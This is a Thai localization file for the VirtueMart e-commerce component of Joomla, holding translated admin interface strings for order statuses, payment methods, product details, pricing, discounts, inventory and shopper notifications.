COM_VIRTUEMART_ORDER_STATUS_PENDING="รอดำเนินการ" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="คืนเงินให้" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="จัดส่งแล้ว" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="มีสินค้า" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="การจัดการคลังสินค้า" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="เลือกลักษณะความเคลื่อนไหวของสินค้าในระบบคลังสินค้าที่ต้องการว่าเมื่อไหร่ที่ต้องการให้เปลี่ยนสถานะของคำสั่งซื้อ
            สินค้าในสต็อคที่สำรองไว้จะถูกหักออกจากสินค้าในสต็อคที่จะขาย แต่จะยังอยู่ในสต็อคสินค้าเช่นเดิม" COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="สินค้าหมดสต็อค" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="สงวนไว้?" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="รายการสั่งซื้อสินค้า %1$s รายการได้รับการอัพเดทข้อมูลแล้ว" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="ปรับปรุงสถานะทุกบรรทัด?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="ปรับปรุงสถานะ" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="รายการสั่งซื้อสินค้าใน VirtueMart" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="รายการสั่งซื้อสินค้าใน VirtueMart" COM_VIRTUEMART_OVERWRITE_FINAL="เขียนทับในขั้นตอนสุดท้าย" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="เขียนทับราคาให้คำนวณภาษีด้วย" COM_VIRTUEMART_PAYMENT="การชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD="วิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="รูปแบบวิธีการชำระเงินที่เลือกไม่สามารถยกตัวอย่างประกอบได้เนื่องจากรูปแบบวิธีการชำระเงินดังกล่าวไม่มีอยู๋ในระบบ" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="โค้ด" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="รหัสเฉพาะสำหรับรูปแบบวิธีการชำระเงิน (เช่น PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="กรุณากรอกรหัสวิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="กรุณากรอกชื่อวิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CODE="โค้ด" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="ชนิดบัตรเครดิต" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="ส่วนลด" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="ประเภทของวิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="ชื่อวิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="กลุ่มผู้ซื้อ" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="ข้อผิดพลาด" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="รหัส" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="ส่วนลด" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="ประเภท วิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="ชื่อ" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="กลุ่มผู้ซื้อ" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="ชื่อวิธีการชำระเงินนี้มีอยู่แล้ว กรุณาใช้ชื่ออื่น" COM_VIRTUEMART_PAYMENTMETHOD_S="วิธีการชำระเงิน" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="กรุณาเลือกวิธีการชำระเงินเพื่ออัพเดด" COM_VIRTUEMART_PAYMENT_CLASS_NAME="วิธีการชำระเงิน" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="เลือกวิธีการชำระเงิน และคลิกปุ่ม นำไปใช้ สำหรับ Joomla 1.5, หรือปุ่ม บันทึก สำหรับ Joomla 1.7 เพื่อแสดงพารามิเตอร์ที่เหมาะสมในแท็ปการตั้งค่า" COM_VIRTUEMART_PAYMENT_ELEMENT="วิธีการชำระเงิน" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="รายละเอียดการชำระเงิน" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="รายละเอียดการชำระเงิน" COM_VIRTUEMART_PAYMENT_LIST_LBL="รายการวิธีการชำระเงิน" COM_VIRTUEMART_PAYMENT_LIST_NAME="ชื่อการชำระเงิน" COM_VIRTUEMART_PAYMENT_NAME="ชื่อการชำระเงิน" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="กลุ่มผู้ซื้อ" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="การชำระเงินดำเนินการเสร็จเรียบร้อย" COM_VIRTUEMART_PAYMENT_TYPE="รูปแบบของวิธีการ" COM_VIRTUEMART_PDF_ICON_SHOW="แสดงไอคอนสำหรับเปิดดูไฟล์ PDF" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="เลือกแสดง หรือ ซ่อน ไอคอนลิงก์ไปยังไฟล์ PDF" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="กลุ่มที่มีการกำหนดสิทธิ์การเข้าใช้งานต้องมีการระบุชื่อ" COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="ชื่อของกลุ่มที่มีการกำหนดสิทธิ์การเข้าใช้งานมีการใช้ตัวอักษรที่ไม่ถูกต้อง" COM_VIRTUEMART_PLEASE_SEL_ITEM="กรุณาเลือกรายการ" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="ส่วนลด/ค่าธรรมเนียม" COM_VIRTUEMART_PLUGIN_WARNING="กรุณาตั้งค่าการจัดส่งสินค้าสำหรับ VirtueMart หรือ ปลั๊กอินการชำระเงินในคอมโพเนนท์ VirtueMart
            มิฉะนั้นค่าพารามิเตอร์ที่กำหนดในส่วนนี้จะไม่สามารถใช้งานได้." COM_VIRTUEMART_PN_DISPLAY_NR="แสดง #" COM_VIRTUEMART_PREVIEW="ดูตัวอย่าง" COM_VIRTUEMART_PRINT="สั่งพิมพ์" COM_VIRTUEMART_PRINT_VIEW="มุมมองหน้าสั่งพิมพ์" COM_VIRTUEMART_PRODUCT="สินค้า" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="เลือกสินค้า" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="สร้างลิงก์มาที่นี่เพื่อแสดงสินค้าที่เลือกไว้" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="สินค้า" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="เพื่อกำหนดมุมมองสินค้า" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="แสดงสินค้าเพียงรายการเดียว" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="เค้าโครงหน้ารายละเอียดสินค้าของ VirtueMart" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="ย้ายสินค้า" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="เกิดข้อผิดพลาดบางประการในการเพิ่มรายการสินค้า!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="เพิ่มสินค้าลูก" COM_VIRTUEMART_PRODUCT_AVAILABILITY="สถานะสินค้า" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="สินค้าจะวางจำหน่ายอีกครั้งเมื่อ:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="วันที่วางจำหน่ายสินค้า" COM_VIRTUEMART_PRODUCT_ALIAS="นามแฝงชื่อสินค้า" COM_VIRTUEMART_PRODUCT_BASEPRICE="ราคาฐาน " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="ราคาฐานสำหรับตัวแปร " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="ราคาฐานพร้อมด้วยภาษี " COM_VIRTUEMART_PRODUCT_BOX="จำนวนสินค้าในกล่อง" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="ไม่มีคำอธิบาย" COM_VIRTUEMART_PRODUCT_CALL="สอบถามราคาเพิ่มเติม" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="คำเตือน สินค้าตัวนี้เป็นสินค้าแม่, กรุณาลบสินค้าลูกก่อน" COM_VIRTUEMART_PRODUCT_CATEGORY="หมวดหมู่สินค้า" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="ชื่อของหมวดหมู่สินค้า" COM_VIRTUEMART_PRODUCT_CHILD="สินค้าลูก" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="สินค้าลูก" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="สินค้าชิ้นนี้เป็นสินค้าลูก" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="สินค้าลูกถูกสร้างขึ้นเรียบร้อยแล้ว" COM_VIRTUEMART_PRODUCT_CHILD_LIST="สินค้าลูก" COM_VIRTUEMART_PRODUCT_CHILD_NAME="ชื่อสินค้าลูก" COM_VIRTUEMART_PRODUCT_CLONE="ลอกแบบสินค้าขึ้นใหม่" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="สินค้าถูกลอกแบบขึ้นใหม่เรียบร้อยแล้ว" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="ลอกแบบรายการสินค้าลูกเหล่านี้ด้วย" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="ตัวเลือกสำหรับการลอกแบบสินค้า" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="สร้างสินค้าลูก" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="ช่องรับข้อมูลแบบกำหนดเอง" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N=" %s แบบกำหนดเอง" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="ช่องรับข้อมูลแบบกำหนดเอง" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="ผู้ซื้อทั้งหมด" COM_VIRTUEMART_PRODUCT_DESC="คำอธิบายเกี่ยวกับสินค้า" COM_VIRTUEMART_PRODUCT_DESC_TITLE="คำอธิบาย" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="ผู้ผลิตสินค้า" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="หน้ารายละเอียดสินค้า" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="จาก" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="หน่วยการวัดขนาด" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="ราคาพร้อมส่วนลด " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="คุณสามารถใช้แบบฟอร์มส่วนลดราคาสำหรับสินค้าเพื่อเพิ่มส่วนลดได้!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="ส่วนลดสินค้าได้ถูกเพิ่มแล้ว" COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="ส่วนลด " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="ประเภทส่วนลด" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="ต้องการกำหนดจำนวนเป็นเปอร์เซ็นต์หรือจำนวนรวมทั้งหมด?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="ไม่ต้องนำเกณฑ์ใดๆไปใช้งาน" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="นำเกณฑ์ทั่วไปไปใช้งาน" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="เขียนทับ" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="คุณสามารถใช้ตัวเลือกนี้เพื่อลดราคาสินค้าชั่วคราวได้" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="แก้ไขสินค้าลูก" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="ส่งอีเมลไปยังผู้ซื้อ" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="เนื้อหา" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="ส่งวันที่แล้ว" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="กรุณากรอกข้อความ" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="กรุณากรอกหัวเรื่องสำหรับอีเมล" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="ยังไม่มีผู้ซื้อที่เลือกซื้อสินค้าชิ้นนี้" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="เลือก 'สถานะของสินค้าที่สั่งซื้อ'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="เลือก ' สถานะของสินค้าที่สั่งซื้อ' ของคำสั่งซื้อที่ได้รับเพื่อแสดงรายชื่อผู้ซื้อที่จะได้รับอีเมล" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="ส่งอีเมล" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="ส่งอีเมลไปยังผู้ซื้อ" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="ส่งอีเมลไปยังผู้ซื้อที่ซื้อสินค้าชิ้นนี้ไป (%d ผู้ซื้อ)" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="ข้อความเกี่ยวกับสินค้า %" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="หัวเรื่อง" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="สอบถามรายละเอียดเพิ่มเติมเกี่ยวกับสินค้าชิ้นนี้" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="กลับไปยังหน้ารายการไฟล์สินค้า" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="ค้นหาสินค้า" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="นามแฝงของสินค้า" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="กรอกข้อความลงที่นี่ ข้อความดังกล่าวเป็นข้อความที่จะใช้แสดงให้กับผู้ซื้อในหน้ารายละเอียดสินค้า.
            e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="หรือ เลือกรูปภาพที่ต้องการให้แสดงในหน้ารายละเอียด
            รูปภาพดังกล่าวจะอยู่ในแฟ้มสารบัญ %s
            " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="วันที่วางจำหน่าย" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="คุณสามารถใส่จำนวนหน่วยสินค้าที่อยู่ในกล่องได้ที่นี่ (สูงสุด 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="คำนวนราคาต้นทุน" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="เลือกค่านี้เพื่อคำนวนราคาต้นทุนกับราคาสุดท้ายที่ต้องการ" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="สินค้าแม่ & ลูก" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="อยู่หลังตัวปรับราคาภาษี" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="ก่อนหน้าตัวปรับราคาภาษี" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="คุณแน่ใจแล้วหรือว่าต้องการลบรายการนี้ทิ้งไป?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="คุณแน่ใจแล้วหรือว่าต้องการลบสินค้าชิ้นนี้และรายการอื่นๆที่เกี่ยวข้องกับสินค้าดังกล่าวทิ้งไป?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="คำอธิบายเกี่ยวกับสินค้า" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="ราคาลดแล้ว" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="ส่วนนี้เป็นส่วนที่คุณสามารถเขียนทับการตั้งค่าส่วนลดได้ กรอกข้อมูลราคาส่วนลดพิเศษสำหรับสินค้าชิ้นนี้ลงไป
            ร้านค้าจะสร้างบันทึกส่วนลดใหม่จากราคาส่วนลดที่มีอยู่" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="ส่วนลด" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="ประเภทส่วนลด" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="แก้ไขข้อมูลสินค้าชิ้นนี้" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="อีเมล" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="ความสูง" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="สินค้ามีในสต็อค" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="สัดส่วนและน้ำหนักรายการสินค้า" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="ชื่อรูปภาพ" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="ข้อมูลเกี่ยวกับรายการสินค้า" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="สถานะของรายการสินค้า" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="ความยาว" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="จำนวนสั่งซื้อมากสุด" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="จำนวนสั่งซื้อขั้นต่ำ" COM_VIRTUEMART_PRODUCT_FORM_NAME="ชื่อของสินค้า" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="สร้างสินค้าใหม่" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="สินค้าที่สั่งซื้อ,จอง" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="จำนวนหน่วยสินค้าในหนึ่งแพ็คเกจ" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="ส่วนนี้เป็นส่วนที่คุณสามารถใส่จำนวนหน่วยสินค้าที่อยู่ในชุดแพ็คเกจ (สูงสุด 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="ต้นทาง" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="แก้ไขต้นทาง" COM_VIRTUEMART_PRODUCT_FORM_PRICES="ราคาสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="ราคากลาง" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="ราคาฐานพร้อมด้วยภาษี" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="ราคากลาง คือ ราคาต้นทุน ที่ได้เปลี่ยนตามอัตราของสกุลเงินผู้จัดจำหน่าย" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="ราคาต้นทุน" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="นี้เป็นราคาต้นทุนจริงในสกุลเงินที่เลือก" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="ราคาสุดท้าย" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="ราคาสุดท้ายคือราคากลางที่รวมภาษีหรือค่าใช้จ่ายต่างๆ ตามอัตราของสกุลเงินผู้จัดจำหน่าย" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="ราคาสินค้า (สุทธิ)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="ราคาสินค้า (ต้นทุน)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="ราคาสินค้า (ราคาปลีก)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="ภาษี" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="ฟิลด์ที่กำหนดเอง" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="ขนาดสินค้าและน้ำหนัก" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="รูปสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="ข้อมูลเกี่ยวกับสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="รายชื่อสินค้าลูก" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="สถานะสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="ชนิดของสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="ตัวแปรสินค้า" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="ตัวเลือกคุณลักษณะ" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="สร้างตัวเลือกคุณลักษณะใหม่" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="เผยแพร่?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="ราคาสินค้า" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="เขียนทับเกณฑ์การตั้งราคา" COM_VIRTUEMART_PRODUCT_FORM_SKU="รหัส SKU ของสินค้า" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="เลือกเป็นรายการน่าสนใจ" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="คำอธิบายอย่างย่อ" COM_VIRTUEMART_PRODUCT_FORM_UNIT="หน่วย" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="ชิ้น" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="อัพเดทรายการ" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="ผู้ขาย" COM_VIRTUEMART_PRODUCT_HEIGHT="ความสูงของสินค้า" COM_VIRTUEMART_PRODUCT_ID="รหัสสินค้า" COM_VIRTUEMART_PRODUCT_ID_MISSING="รหัสสินค้าเกิดการสูญหาย" COM_VIRTUEMART_PRODUCT_IMAGE="รูปสินค้า" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="ที่อยู่ URL ของรูปภาพต้องเริ่มต้นด้วย http" COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="การลบรูปภาพสินค้าล้มเหลว!" COM_VIRTUEMART_PRODUCT_INFORMATION="ข้อมูลเกี่ยวกับสินค้า" COM_VIRTUEMART_PRODUCT_INVENTORY="คลังสินค้า" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="ราคา" ;COM_VIRTUEMART_PRODUCT_INVENTORY_SEE_SHOPPER_RESERVED_LIST="See shoppers who have ordered but are awaiting this product" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="ค่า" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="น้ำหนัก" COM_VIRTUEMART_PRODUCT_IN_STOCK="สินค้าในสต็อค" COM_VIRTUEMART_PRODUCT_LENGTH="ความยาวของสินค้า" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="ค้นหาสินค้า" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="หลัง" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="ก่อน" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="ที่มีการเปลี่ยนแปลงราคา" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="ปรับปรุงแล้ว" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="ไม่ต้องมีราคา" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="เฉพาะสินค้าแม่เท่านั้น" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="ชื่อผู้ขาย" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="แสดงรายการสินค้าลูกทั้งหมดของ %s" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="สินค้า %s มีจำนวนสินค้าในสต็อค %d" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="สินค้า %s มีจำนวนสินค้าในสต็อคเหลือน้อย" COM_VIRTUEMART_PRODUCT_LWH_UOM="หน่วยการวัด ความยาว/น้ำหนัก/ความสูง" COM_VIRTUEMART_PRODUCT_MEDIA="ไฟล์มีเดีย" COM_VIRTUEMART_PRODUCT_MOD="รายการ" COM_VIRTUEMART_PRODUCT_NAME="ชื่อสินค้า" COM_VIRTUEMART_PRODUCT_NAME_TITLE="ชื่อสินค้า" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="แสดงแถบสืบค้นรายการสินค้า?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="แสดงแถบสืบค้นรายการสินค้าทางด้านบนของหน้าสินค้า" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="ข้อความถูกส่งแล้ว" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="จำนวนที่ต้องการแจ้งเตือน (ปล่อยว่างไว้หากต้องการแจ้งเตือนทั้งหมด)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="แจ้งเตือนผู้ใช้งาน" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="สินค้าดังกล่าวได้ถูกลอกแบบขึ้นใหม่เรียบร้อยแล้ว" COM_VIRTUEMART_PRODUCT_NOT_FOUND="ขออภัย, ไม่พบสินค้าที่คุณต้องการ" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="สินค้าลูกยังไม่ได้ถูกสร้างขึ้น" COM_VIRTUEMART_PRODUCT_OF="จาก" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="ระดับจำนวนรายการสั่งซื้อสินค้า" COM_VIRTUEMART_PRODUCT_PACKAGING="การบรรจุหีบห่อสินค้า" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="ไม่มีคำอธิบาย" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="สินค้าชิ้นนี้เป็นสินค้าลูกหรือไม่?" COM_VIRTUEMART_PRODUCT_PRICE="ราคาสินค้า" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="ราคา" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="หมายเหตุภายใน" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="ชนิดของสินค้า" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="ค้นหาสินค้าอื่นๆที่เกี่ยวข้อง" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="ผลิตภัณฑ์" COM_VIRTUEMART_PRODUCT_SALES="ยอดขายสินค้า" COM_VIRTUEMART_PRODUCT_SALESPRICE="ราคาขาย " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="ราคาขายไม่รวมภาษี " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="ราคาขายพร้อมส่วนลด " COM_VIRTUEMART_PRODUCT_SHOPPERS="ผู้ซื้อ" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="รายชื่อผู้ซื้อที่ได้ซื้อ %1$s" COM_VIRTUEMART_PRODUCT_SKU="รหัส SKU สินค้า" COM_VIRTUEMART_PRODUCT_SPECIAL="สินค้าที่น่าสนใจ" COM_VIRTUEMART_PRODUCT_S_DESC="คำอธิบายอย่างย่อเกี่ยวกับสินค้า" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="จำนวนภาษี " COM_VIRTUEMART_PRODUCT_TAX_NONE="ไม่ต้องนำเกณฑ์ใดๆไปใช้งาน" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="นำเกณฑ์เริ่มต้นไปใช้งาน" COM_VIRTUEMART_PRODUCT_UNIT="หน่วยสินค้า" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="ใช้เทมเพลทสำหรับระบบแจ้งเตือน" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="หากเลือก ข้อความแจ้งเตือนที่กำหนดไว้เริ่มต้นจะถูกส่งออกไป" COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s ได้มาถึงแล้ว!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="แจ้งเตือนแล้ว" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="แจ้งเตือนผู้ใช้งานเหล่านี้เดี๋ยวนี้ (หากคุณได้ทำการอัพเดทจำนวนสินค้าในคลังสินค้า)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="รายการสินค้ารอจำหน่าย" 